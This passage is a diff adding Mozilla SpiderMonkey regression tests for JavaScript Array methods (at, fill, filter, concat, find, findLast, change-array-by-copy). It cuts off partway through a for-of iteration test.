+++ b/js/src/tests/non262/Array/array-length-set-on-nonarray.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 548671;
+var summary =
+ "Don't use a shared-permanent inherited property to implement " +
+ "[].length or (function(){}).length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [];
+a.p = 1;
+var x = Object.create(a);
+assertEq(x.length, 0);
+assertEq(x.p, 1);
+assertEq(a.length, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/at.js b/js/src/tests/non262/Array/at.js
new file mode 100644
index 0000000000..e3227a3ec2
--- /dev/null
+++ b/js/src/tests/non262/Array/at.js
@@ -0,0 +1,39 @@
+function basic() {
+ assertEq([0].at(0), 0);
+ assertEq([0].at(-1), 0);
+
+ assertEq([].at(0), undefined);
+ assertEq([].at(-1), undefined);
+ assertEq([].at(1), undefined);
+
+ assertEq([0, 1].at(0), 0);
+ assertEq([0, 1].at(1), 1);
+ assertEq([0, 1].at(-2), 0);
+ assertEq([0, 1].at(-1), 1);
+
+ assertEq([0, 1].at(2), undefined);
+ assertEq([0, 1].at(-3), undefined);
+ assertEq([0, 1].at(-4), undefined);
+ assertEq([0, 1].at(Infinity), undefined);
+ assertEq([0, 1].at(-Infinity), undefined);
+ assertEq([0, 1].at(NaN), 0); // ToInteger(NaN) = 0
+}
+
+function obj() {
+ var o = {length: 0, [0]: "a", at: Array.prototype.at};
+
+ assertEq(o.at(0), undefined);
+ assertEq(o.at(-1), undefined);
+
+ o.length = 1;
+ assertEq(o.at(0), "a");
+ assertEq(o.at(-1), "a");
+ assertEq(o.at(1), undefined);
+ assertEq(o.at(-2), undefined);
+}
+
+basic();
+obj();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/browser.js b/js/src/tests/non262/Array/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Array/browser.js
diff --git a/js/src/tests/non262/Array/change-array-by-copy-cross-compartment-create.js b/js/src/tests/non262/Array/change-array-by-copy-cross-compartment-create.js
new file mode 100644
index 0000000000..bd6e6d0a9f
--- /dev/null
+++ b/js/src/tests/non262/Array/change-array-by-copy-cross-compartment-create.js
@@ -0,0 +1,26 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Array.prototype.with)
+
+function test(otherGlobal) {
+ let arrays = [
+ ["with", otherGlobal.Array.prototype.with.call([1,2,3], 1, 3)],
+ ["toSpliced", otherGlobal.Array.prototype.toSpliced.call([1, 2, 3], 0, 1, 4, 5)],
+ ["toReversed", otherGlobal.Array.prototype.toReversed.call([1, 2, 3])],
+ ["toSorted", otherGlobal.Array.prototype.toSorted.call([1, 2, 3], (x, y) => y > x)]
+ ]
+
+ // Test that calling each method in a different compartment returns an array, and that
+ // the returned array's prototype matches the other compartment's Array prototype,
+ // not this one.
+ for (const [name, arr] of arrays) {
+ assertEq(arr instanceof Array, false, name + " returned an instance of Array");
+ assertEq(arr instanceof otherGlobal.Array, true, name + " did not return an instance of new global's Array");
+ assertEq(Object.getPrototypeOf(arr) !== Object.getPrototypeOf([1, 2, 3]), true,
+ name + " returned an object with a prototype from the wrong realm");
+ }
+}
+
+test(newGlobal());
+test(newGlobal({newCompartment: true}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/change-array-by-copy-errors-from-correct-realm.js b/js/src/tests/non262/Array/change-array-by-copy-errors-from-correct-realm.js
new file mode 100644
index 0000000000..4e99cbe0ff
--- /dev/null
+++ b/js/src/tests/non262/Array/change-array-by-copy-errors-from-correct-realm.js
@@ -0,0 +1,77 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Array.prototype.with)
+
+function test(otherGlobal) {
+ assertEq(TypeError !== otherGlobal.TypeError, true);
+ assertEq(Object.getPrototypeOf(TypeError) !== Object.getPrototypeOf(otherGlobal.TypeError), true);
+ assertEq(RangeError !== otherGlobal.RangeError, true);
+ assertEq(Object.getPrototypeOf(RangeError) !== Object.getPrototypeOf(otherGlobal.RangeError), true);
+
+
+ var arrayLike = {
+ get "0"() {
+ throw new Error("Get 0");
+ },
+ get "4294967295" () { // 2 ** 32 - 1
+ throw new Error("Get 2147483648");
+ },
+ get "4294967296" () { // 2 ** 32
+ throw new Error("Get 2147483648");
+ },
+ length: 2 ** 32
+ };
+
+ let gToSorted = otherGlobal.Array.prototype.toSorted;
+ let gToSpliced = otherGlobal.Array.prototype.toSpliced;
+ let gToReversed = otherGlobal.Array.prototype.toReversed;
+ let gWith = otherGlobal.Array.prototype.with;
+
+ let typeErrorCalls = [
+ ["toSorted - bad comparator", () => gToSorted.call([], 5)],
+ ["toSorted - this is null", () => gToSorted.call(null)],
+ ["toSpliced - array too long", () => {
+ var oldLen = arrayLike.length;
+ arrayLike.length = 2**53 - 1;
+ gToSpliced.call(arrayLike, 0, 0, 1);
+ arrayLike.length = oldLen;
+ }]
+ ]
+
+ let rangeErrorCalls = [
+ ["toSorted - array too long", () => gToSorted.call(arrayLike)],
+ ["toReversed - array too long", () => gToReversed.call(arrayLike)],
+ ["toSpliced - adding elements would exceed max array length", () => gToSpliced.call(arrayLike, 0, 0)],
+ ["with - index out of range", () => gWith.call([0, 1, 2], 3, 7)],
+ ["with - negative index", () => gWith.call([0, 1, 2], -4, 7)],
+ ["with - array too long", () => gWith.call(arrayLike, 0, 0)]
+ ]
+
+ // For each erroneous case, make sure the error comes from
+ // the other realm (not this realm)
+ for (const [message, f] of typeErrorCalls) {
+ try {
+ f();
+ } catch (exc) {
+ assertEq(exc instanceof TypeError, false, message + " threw TypeError from wrong realm");
+ assertEq(exc instanceof otherGlobal.TypeError, true, message + " didn't throw TypeError from other realm");
+ assertEq(Object.getPrototypeOf(exc) !== Object.getPrototypeOf(TypeError), true,
+ message + " TypeError has wrong prototype");
+ }
+ }
+
+ for (const [message, f] of rangeErrorCalls) {
+ try {
+ f();
+ } catch (exc) {
+ assertEq(exc instanceof RangeError, false, message + " threw RangeError from wrong realm");
+ assertEq(exc instanceof otherGlobal.RangeError, true, message + " didn't throw RangeError from other realm");
+ assertEq(Object.getPrototypeOf(exc) !== Object.getPrototypeOf(RangeError), true,
+ message + " TypeError has wrong prototype");
+ }
+ }
+}
+
+test(newGlobal());
+test(newGlobal({newCompartment: true}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/concat-proxy.js b/js/src/tests/non262/Array/concat-proxy.js
new file mode 100644
index 0000000000..ab733e2f10
--- /dev/null
+++ b/js/src/tests/non262/Array/concat-proxy.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1287520;
+var summary = 'Array.prototype.concat should check HasProperty everytime for non-dense array';
+
+print(BUGNUMBER + ": " + summary);
+
+var a = [1, 2, 3];
+a.constructor = {
+ [Symbol.species]: function(...args) {
+ var p = new Proxy(new Array(...args), {
+ defineProperty(target, propertyKey, receiver) {
+ if (propertyKey === "0") delete a[1];
+ return Reflect.defineProperty(target, propertyKey, receiver);
+ }
+ });
+ return p;
+ }
+};
+
+var p = a.concat();
+assertEq(0 in p, true);
+assertEq(1 in p, false);
+assertEq(2 in p, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/concat-spreadable-basic.js b/js/src/tests/non262/Array/concat-spreadable-basic.js
new file mode 100644
index 0000000000..c13f8f5cd3
--- /dev/null
+++ b/js/src/tests/non262/Array/concat-spreadable-basic.js
@@ -0,0 +1,37 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+"use strict";
+
+const x = Object.freeze([1, 2, 3]);
+
+let fakeArray = {
+ [Symbol.isConcatSpreadable]: true,
+ length: 2,
+ 0: "hello",
+ 1: "world"
+}
+assertDeepEq(x.concat(fakeArray), [1, 2, 3, "hello", "world"]);
+assertDeepEq(x.concat(fakeArray, fakeArray), [1, 2, 3, "hello", "world", "hello", "world"]);
+
+for (let truthy of [true, 3.41, "abc", Symbol(), {}]) {
+ let obj = {[Symbol.isConcatSpreadable]: truthy, length: 1, 0: "hey"}
+ assertDeepEq(x.concat(obj), [1, 2, 3, "hey"]);
+}
+
+for (let notTruthy of [null, undefined, false, 0, NaN, ""]) {
+ let obj = {[Symbol.isConcatSpreadable]: notTruthy, length: 1, 0: "hey"}
+ assertDeepEq(x.concat(obj), [1, 2, 3, obj]);
+}
+
+let array = [5, 4];
+assertDeepEq(x.concat(array), [1, 2, 3, 5, 4]);
+
+// Can make arrays non-spreadable
+array[Symbol.isConcatSpreadable] = false;
+assertDeepEq(x.concat(array), [1, 2, 3, [5, 4]]);
+
+// Explicitly spreadable
+array[Symbol.isConcatSpreadable] = true;
+assertDeepEq(x.concat(array), [1, 2, 3, 5, 4]);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/concat-spreadable-primitive.js b/js/src/tests/non262/Array/concat-spreadable-primitive.js
new file mode 100644
index 0000000000..d2264bfa2a
--- /dev/null
+++ b/js/src/tests/non262/Array/concat-spreadable-primitive.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+"use strict";
+
+// Primitive values should never be tried to spread
+let primitives = [
+ 10,
+ false,
+ Symbol()
+ // Can't change String.prototype.length
+];
+
+for (let value of primitives) {
+ let prototype = Object.getPrototypeOf(value);
+ prototype[Symbol.isConcatSpreadable] = true;
+
+ Object.defineProperty(prototype, "length", {
+ configurable: true,
+ get() {
+ // Should never invoke length getter
+ assertEq(true, false);
+ },
+ });
+
+ let x = [1, 2].concat(value);
+ assertDeepEq(x, [1, 2, value]);
+
+ delete prototype[Symbol.isConcatSpreadable];
+ delete prototype.length;
+
+ prototype.length;
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/fill.js b/js/src/tests/non262/Array/fill.js
new file mode 100644
index 0000000000..70f1e0b522
--- /dev/null
+++ b/js/src/tests/non262/Array/fill.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 911147;
+var summary = 'Array.prototype.fill';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(typeof [].fill, 'function');
+assertEq([].fill.length, 1);
+
+// Default values for arguments and absolute values for negative start and end
+// arguments are resolved correctly.
+assertDeepEq([].fill(1), []);
+assertDeepEq([1,1,1].fill(2), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 1, 2), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, -2), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, -2, -1), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, undefined), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, undefined, undefined), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1, undefined), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, undefined, 1), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, 2, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, -1, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, -2, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 1, -2), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0.9), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1.1), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 0.1, 0.9), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1, 1.9), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1, 1.9), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, -0), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, -0), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, NaN), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, NaN), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, false), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, true), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "0"), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, "1"), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "-2"), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "-2", "-1"), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, {valueOf: ()=>1}), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, {valueOf: ()=>1}), [2,1,1]);
+
+// fill works generically for objects, too.
+assertDeepEq([].fill.call({length: 2}, 2), {0: 2, 1: 2, length: 2});
+
+var setterCalled = false;
+var objWithSetter = {set "0"(val) { setterCalled = true}, length: 1};
+[].fill.call(objWithSetter, 2);
+assertEq(setterCalled, true);
+
+var setHandlerCallCount = 0;
+var proxy = new Proxy({length: 3}, {set(t, i, v, r) { setHandlerCallCount++; return true; }});
+[].fill.call(proxy, 2);
+assertEq(setHandlerCallCount, 3);
+
+var valueOfCallCount = 0;
+var typedArray = new Uint8ClampedArray(3);
+[].fill.call(typedArray, {valueOf: function() {valueOfCallCount++; return 2000;}});
+assertEq(valueOfCallCount, 3);
+assertEq(typedArray[0], 0xff);
+
+// All remaining cases should throw.
+var objWithGetterOnly = {get "0"() {return 1;}, length: 1};
+
+var objWithReadOnlyProp = {length: 1};
+Object.defineProperty(objWithReadOnlyProp, 0, {value: 1, writable: false});
+
+var objWithNonconfigurableProp = {length: 1};
+Object.defineProperty(objWithNonconfigurableProp, 0, {value: 1, configurable: false});
+
+var frozenObj = {length: 1};
+Object.freeze(frozenObj);
+
+var frozenArray = [1, 1, 1];
+Object.freeze(frozenArray);
+
+assertThrowsInstanceOf(() => [].fill.call(objWithGetterOnly, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(objWithReadOnlyProp, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(objWithNonconfigurableProp, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(frozenObj, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(frozenArray, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call("111", 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(null, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(undefined, 2), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/filter.js b/js/src/tests/non262/Array/filter.js
new file mode 100644
index 0000000000..6cb9290147
--- /dev/null
+++ b/js/src/tests/non262/Array/filter.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "364603";
+var summary = "The value placed in a filtered array for an element is the " +
+ " element's value before the callback is run, not after";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function mutate(val, index, arr)
+{
+ arr[index] = "mutated";
+ return true;
+}
+
+function assertEqual(v1, v2, msg)
+{
+ if (v1 !== v2)
+ throw msg;
+}
+
+try
+{
+ var a = [1, 2];
+ var m = a.filter(mutate);
+
+ assertEqual(a[0], "mutated", "Array a not mutated!");
+ assertEqual(a[1], "mutated", "Array a not mutated!");
+
+ assertEqual(m[0], 1, "Filtered value is value before callback is run");
+ assertEqual(m[1], 2, "Filtered value is value before callback is run");
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/findLast_findLastIndex.js b/js/src/tests/non262/Array/findLast_findLastIndex.js
new file mode 100644
index 0000000000..00f5640308
--- /dev/null
+++ b/js/src/tests/non262/Array/findLast_findLastIndex.js
@@ -0,0 +1,285 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1704385;
+var summary = 'Array.prototype.findLast and Array.prototype.findLastIndex';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function isString(v, index, array)
+{
+ assertEq(array[index], v);
+ return typeof v == 'string';
+}
+
+function dumpError(e)
+{
+ var s = e.name + ': ' + e.message +
+ ' File: ' + e.fileName +
+ ', Line: ' + e.lineNumber +
+ ', Stack: ' + e.stack;
+ return s;
+}
+
+var expect;
+var actual;
+var obj;
+
+var strings = ['hello', 'Array', 'WORLD'];
+var mixed = [0, '1', 2];
+var sparsestrings = new Array();
+sparsestrings[2] = 'sparse';
+var arraylike = {0:0, 1:'string', 2:2, length:3};
+// array for which JSObject::isIndexed() holds.
+var indexedArray = [];
+Object.defineProperty(indexedArray, 42, { get: function() { return 42; } });
+Object.defineProperty(indexedArray, 142, { get: function() { return 'string'; } });
+
+// findLast and findLastIndex have 1 required argument
+
+expect = 1;
+actual = Array.prototype.findLast.length;
+reportCompare(expect, actual, 'Array.prototype.findLast.length == 1');
+actual = Array.prototype.findLastIndex.length;
+reportCompare(expect, actual, 'Array.prototype.findLastIndex.length == 1');
+
+// throw TypeError if no predicate specified
+expect = 'TypeError';
+try
+{
+ strings.findLast();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.findLast(undefined) throws TypeError');
+try
+{
+ strings.findLastIndex();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.findLastIndex(undefined) throws TypeError');
+
+// Length gets treated as integer, not uint32
+obj = { length: -4294967295, 0: 42 };
+expected = undefined;
+actual = Array.prototype.findLast.call(obj, () => true);
+reportCompare(expected, actual, 'findLast correctly treats "length" as an integer');
+expected = -1
+actual = Array.prototype.findLastIndex.call(obj, () => true);
+reportCompare(expected, actual, 'findLastIndex correctly treats "length" as an integer');
+
+// test findLast and findLastIndex results
+try
+{
+ expect = 'WORLD';
+ actual = strings.findLast(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: findLast finds last string element');
+
+try
+{
+ expect = 2;
+ actual = strings.findLastIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: findLastIndex finds last string element');
+
+try
+{
+ expect = '1';
+ actual = mixed.findLast(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: findLast finds last string element');
+
+try
+{
+ expect = 1;
+ actual = mixed.findLastIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: findLastIndex finds last string element');
+
+try
+{
+ expect = 'sparse';
+ actual = sparsestrings.findLast(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: findLast finds last string element');
+
+try
+{
+ expect = 2;
+ actual = sparsestrings.findLastIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: findLastIndex finds first string element');
+
+try
+{
+ expect = 'string';
+ actual = [].findLast.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: findLast finds last string element');
+
+try
+{
+ expect = 1;
+ actual = [].findLastIndex.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: findLastIndex finds last string element');
+
+try
+{
+ expect = 1;
+ actual = 0;
+ Array.prototype.findLast.call({get 0(){ actual++ }, length: 1}, ()=>true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike with getter: getter only called once');
+
+try
+{
+ expect = 'string';
+ actual = [].findLast.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: findLast finds last string element');
+
+try
+{
+ expect = 142;
+ actual = [].findLastIndex.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: findLastIndex finds last string element');
+
+// Bug 1058394 - Array#findLast and Array#findLastIndex no longer skip holes too.
+var sparseArray = [1,,];
+var sparseArrayWithInheritedDataProperty = Object.setPrototypeOf([1,,,], {
+ __proto__: [].__proto__,
+ 2 : 0
+});
+var sparseArrayWithInheritedAccessorProperty = Object.setPrototypeOf([1,,,], {
+ __proto__: [].__proto__,
+ get 2(){
+ throw "get 2";
+ }
+});
+
+try
+{
+ expect = undefined;
+ actual = sparseArray.findLast(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#findLast.");
+
+try
+{
+ expect = 1;
+ actual = sparseArray.findLastIndex(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#findLastIndex.");
+
+try
+{
+ expect = 0;
+ actual = sparseArrayWithInheritedDataProperty.findLast(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#findLast can find inherited data property.");
+
+try
+{
+ expect = 2;
+ actual = sparseArrayWithInheritedDataProperty.findLastIndex(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#findLastIndex can find inherited data property.");
+
+try
+{
+ expect = "get 2";
+ actual = sparseArrayWithInheritedAccessorProperty.findLast(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#findLast can find inherited accessor property.");
+
+try
+{
+ expect = "get 2";
+ actual = sparseArrayWithInheritedAccessorProperty.findLastIndex(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#findLastIndex can find inherited accessor property.");
diff --git a/js/src/tests/non262/Array/find_findindex.js b/js/src/tests/non262/Array/find_findindex.js
new file mode 100644
index 0000000000..6e32ea6b05
--- /dev/null
+++ b/js/src/tests/non262/Array/find_findindex.js
@@ -0,0 +1,285 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 885553;
+var summary = 'Array.prototype.find and Array.prototype.findIndex';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function isString(v, index, array)
+{
+ assertEq(array[index], v);
+ return typeof v == 'string';
+}
+
+function dumpError(e)
+{
+ var s = e.name + ': ' + e.message +
+ ' File: ' + e.fileName +
+ ', Line: ' + e.lineNumber +
+ ', Stack: ' + e.stack;
+ return s;
+}
+
+var expect;
+var actual;
+var obj;
+
+var strings = ['hello', 'Array', 'WORLD'];
+var mixed = [0, '1', 2];
+var sparsestrings = new Array();
+sparsestrings[2] = 'sparse';
+var arraylike = {0:0, 1:'string', 2:2, length:3};
+// array for which JSObject::isIndexed() holds.
+var indexedArray = [];
+Object.defineProperty(indexedArray, 42, { get: function() { return 42; } });
+Object.defineProperty(indexedArray, 142, { get: function() { return 'string'; } });
+
+// find and findIndex have 1 required argument
+
+expect = 1;
+actual = Array.prototype.find.length;
+reportCompare(expect, actual, 'Array.prototype.find.length == 1');
+actual = Array.prototype.findIndex.length;
+reportCompare(expect, actual, 'Array.prototype.findIndex.length == 1');
+
+// throw TypeError if no predicate specified
+expect = 'TypeError';
+try
+{
+ strings.find();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.find(undefined) throws TypeError');
+try
+{
+ strings.findIndex();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.findIndex(undefined) throws TypeError');
+
+// Length gets treated as integer, not uint32
+obj = { length: -4294967295, 0: 42 };
+expected = undefined;
+actual = Array.prototype.find.call(obj, () => true);
+reportCompare(expected, actual, 'find correctly treats "length" as an integer');
+expected = -1
+actual = Array.prototype.findIndex.call(obj, () => true);
+reportCompare(expected, actual, 'findIndex correctly treats "length" as an integer');
+
+// test find and findIndex results
+try
+{
+ expect = 'hello';
+ actual = strings.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: find finds first string element');
+
+try
+{
+ expect = 0;
+ actual = strings.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: findIndex finds first string element');
+
+try
+{
+ expect = '1';
+ actual = mixed.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: find finds first string element');
+
+try
+{
+ expect = 1;
+ actual = mixed.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: findIndex finds first string element');
+
+try
+{
+ expect = 'sparse';
+ actual = sparsestrings.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: find finds first string element');
+
+try
+{
+ expect = 2;
+ actual = sparsestrings.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: findIndex finds first string element');
+
+try
+{
+ expect = 'string';
+ actual = [].find.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: find finds first string element');
+
+try
+{
+ expect = 1;
+ actual = [].findIndex.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: findIndex finds first string element');
+
+try
+{
+ expect = 1;
+ actual = 0;
+ Array.prototype.find.call({get 0(){ actual++ }, length: 1}, ()=>true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike with getter: getter only called once');
+
+try
+{
+ expect = 'string';
+ actual = [].find.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: find finds first string element');
+
+try
+{
+ expect = 142;
+ actual = [].findIndex.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: findIndex finds first string element');
+
+// Bug 1058394 - Array#find and Array#findIndex no longer skip holes
+var sparseArray = [,,1];
+var sparseArrayWithInheritedDataProperty = Object.setPrototypeOf([,,1], {
+ __proto__: [].__proto__,
+ 0 : 0
+});
+var sparseArrayWithInheritedAccessorProperty = Object.setPrototypeOf([,,1], {
+ __proto__: [].__proto__,
+ get 0(){
+ throw "get 0";
+ }
+});
+
+try
+{
+ expect = undefined;
+ actual = sparseArray.find(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#find.");
+
+try
+{
+ expect = 0;
+ actual = sparseArray.findIndex(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#findIndex.");
+
+try
+{
+ expect = 0;
+ actual = sparseArrayWithInheritedDataProperty.find(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#find can find inherited data property.");
+
+try
+{
+ expect = 0;
+ actual = sparseArrayWithInheritedDataProperty.findIndex(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#findIndex can find inherited data property.");
+
+try
+{
+ expect = "get 0";
+ actual = sparseArrayWithInheritedAccessorProperty.find(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#find can find inherited accessor property.");
+
+try
+{
+ expect = "get 0";
+ actual = sparseArrayWithInheritedAccessorProperty.findIndex(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#findIndex can find inherited accessor property.");
diff --git a/js/src/tests/non262/Array/for_of_1.js b/js/src/tests/non262/Array/for_of_1.js
new file mode 100644
index 0000000000..0233c1d278
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_1.js
@@ -0,0 +1,138 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+// Test the properties and prototype of a generator object.
+function TestManySmallArrays() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var M = 3;
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var arr = new Array(M);
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
